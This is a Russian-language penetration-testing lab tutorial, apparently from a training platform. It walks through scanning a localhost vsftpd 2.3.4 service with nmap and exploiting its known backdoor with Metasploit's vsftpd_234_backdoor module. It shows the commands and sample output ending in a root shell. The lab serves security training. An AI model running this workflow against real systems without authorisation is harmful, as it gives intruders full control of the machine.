Эксплуатация уязвимого сервиса vsftpd в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы выступите в роли специалиста по тестированию на проникновение и научитесь использовать Metasploit Framework для эксплуатации известной уязвимости в распространенном сервисе. В частности, вы будете нацеливаться на vsftpd (Very Secure FTP Daemon) версии 2.3.4, которая содержит знаменитый бэкдор.

Metasploit — это мощный фреймворк с открытым исходным кодом для тестирования на проникновение, который упрощает взлом. Это незаменимый инструмент для специалистов по безопасности. Вы пройдете стандартный процесс тестирования на проникновение: сканирование цели для идентификации сервисов, поиск подходящего эксплойта, его настройка и запуск атаки для получения контроля над целевой системой. В этой лабораторной работе вашей целевой машиной будет локальная среда (localhost).

Определение уязвимого сервиса vsftpd

На этом этапе вы выполните разведку, первую фазу любого тестирования на проникновение. Цель состоит в том, чтобы просканировать цель для обнаружения открытых портов и идентификации версий служб, работающих на них. Эта информация имеет решающее значение для поиска потенциальных уязвимостей. Для этой цели мы будем использовать nmap, мощный инструмент сетевого сканирования.

Сначала откройте терминал. Мы будем сканировать нашу локальную машину, которая выступает в роли цели. IP-адрес локальной машины — 127.0.0.1.

Выполните следующую команду nmap для выполнения сканирования версий служб (-sV) на цели:

nmap -sV 127.0.0.1

После завершения сканирования nmap сообщит об открытых портах и обнаруженных службах. В этой лабораторной работе нас интересует служба FTP, работающая на порту 21.

Ваш вывод должен быть похож на этот. Обратите внимание на информацию о версии службы FTP.

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

Вывод ясно показывает, что на порту 21 работает vsftpd 2.3.4. Эта конкретная версия широко известна тем, что содержит бэкдор, что делает ее идеальной целью для нашего эксплойта.

Выбор модуля эксплойта vsftpd_234_backdoor

На этом этапе вы запустите Metasploit Framework и найдете подходящий модуль эксплойта для атаки на сервис vsftpd 2.3.4.

Сначала запустите консоль Metasploit. Мы используем флаг -q (quiet), чтобы пропустить баннер и ускорить запуск.

msfconsole -q

Как только Metasploit загрузится, вы увидите приглашение msf6 >. Теперь вы можете искать эксплойты, связанные с vsftpd. Используйте команду search:

search vsftpd

Metasploit отобразит список соответствующих модулей. Вы должны увидеть эксплойт специально для бэкдора в vsftpd 2.3.4.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

Модуль exploit/unix/ftp/vsftpd_234_backdoor — это именно то, что нам нужно. Он имеет рейтинг "excellent" (отличный), что означает высокую надежность. Чтобы загрузить этот модуль, используйте команду use, за которой следует полное имя модуля или его номер из результатов поиска.

use exploit/unix/ftp/vsftpd_234_backdoor

После выполнения команды ваше приглашение изменится на msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, что указывает на то, что модуль эксплойта теперь активен.

Установка опции RHOSTS на IP-адрес цели

На этом этапе вы настроите модуль эксплойта. Большинство модулей требуют установки опций, таких как IP-адрес цели.

После загрузки модуля vsftpd_234_backdoor вы можете просмотреть его опции с помощью команды show options.

show options

Эта команда отобразит таблицу всех доступных опций для данного модуля, их текущие настройки и информацию о том, являются ли они обязательными.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Как вы можете видеть, RHOSTS (Remote Hosts - Удаленные хосты) является обязательной, но для нее не установлено значение. Вам нужно установить ее на IP-адрес нашей целевой машины, который равен 127.0.0.1.

Используйте команду set для настройки опции RHOSTS:

set RHOSTS 127.0.0.1

Чтобы убедиться, что опция была установлена правильно, вы можете снова выполнить команду show options. Вы увидите, что RHOSTS теперь имеет значение 127.0.0.1.

Использование команды check для проверки уязвимости цели

На этом этапе вы безопасным способом проверите, действительно ли цель уязвима для выбранного эксплойта. Metasploit предоставляет команду check для многих модулей, которая позволяет проверить уязвимость без запуска полной атаки. Это полезно для избежания обнаружения и сбоев системы.

Теперь, когда модуль эксплойта настроен с IP-адресом цели, просто выполните команду check:

check

Metasploit попытается проверить целевой сервис, чтобы определить, существует ли бэкдор. Если цель уязвима, вы увидите подтверждающее сообщение.

[+] 127.0.0.1:21 - The target is vulnerable.

Сообщение [+] The target is vulnerable. подтверждает, что сервис vsftpd на 127.0.0.1 имеет бэкдор. Теперь вы готовы к запуску эксплойта. Если бы цель не была уязвима, обычно сообщалось бы, что цель не поддается эксплуатации.

Запуск эксплойта и получение командной оболочки

На этом этапе вы запустите эксплойт для получения несанкционированного доступа к целевой системе. Поскольку команда check подтвердила уязвимость цели, эксплойт должен пройти успешно.

Команда для запуска атаки — exploit. Вы также можете использовать ее псевдоним run.

exploit

Metasploit отправит вредоносную полезную нагрузку (payload) сервису vsftpd. Будет активирован бэкдор, который откроет командную оболочку на другом порту (в данном случае порт 6200). Metasploit подключится к этой новой оболочке, предоставляя вам прямой доступ к командной строке цели.

Вывод будет выглядеть следующим образом:

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

Теперь у вас есть командная оболочка на целевой машине! Обратите внимание, что приглашение командной строки исчезло. Теперь вы можете выполнять команды, как если бы вы были непосредственно подключены к цели. Давайте проверим уровень нашего доступа, выполнив команду whoami.

whoami

Вывод должен быть следующим:

root

Это подтверждает, что вы получили root-оболочку, предоставляющую полный контроль над целевой системой. Чтобы выйти из оболочки и вернуться к приглашению Metasploit, введите exit.

Итоги

Поздравляем с успешным завершением этой лабораторной работы! Вы освоили основной рабочий процесс тестирования на проникновение с использованием Metasploit Framework.

В этой лабораторной работе вы:

  1. Использовали nmap для проведения разведки и выявления уязвимого сервиса vsftpd 2.3.4.
  2. Запустили консоль Metasploit и выполнили поиск соответствующего эксплойта.
  3. Выбрали и настроили модуль эксплойта vsftpd_234_backdoor, установив опцию RHOSTS.
  4. Безопасно проверили уязвимость цели с помощью команды check.
  5. Выполнили команду exploit, чтобы получить командную оболочку корневого уровня на целевой системе.

Это упражнение демонстрирует, как простая, неисправленная уязвимость может привести к полному компрометации системы. Оно подчеркивает важность своевременного обновления программного обеспечения и мощь таких инструментов, как Metasploit, как для этичных хакеров, так и для злоумышленников.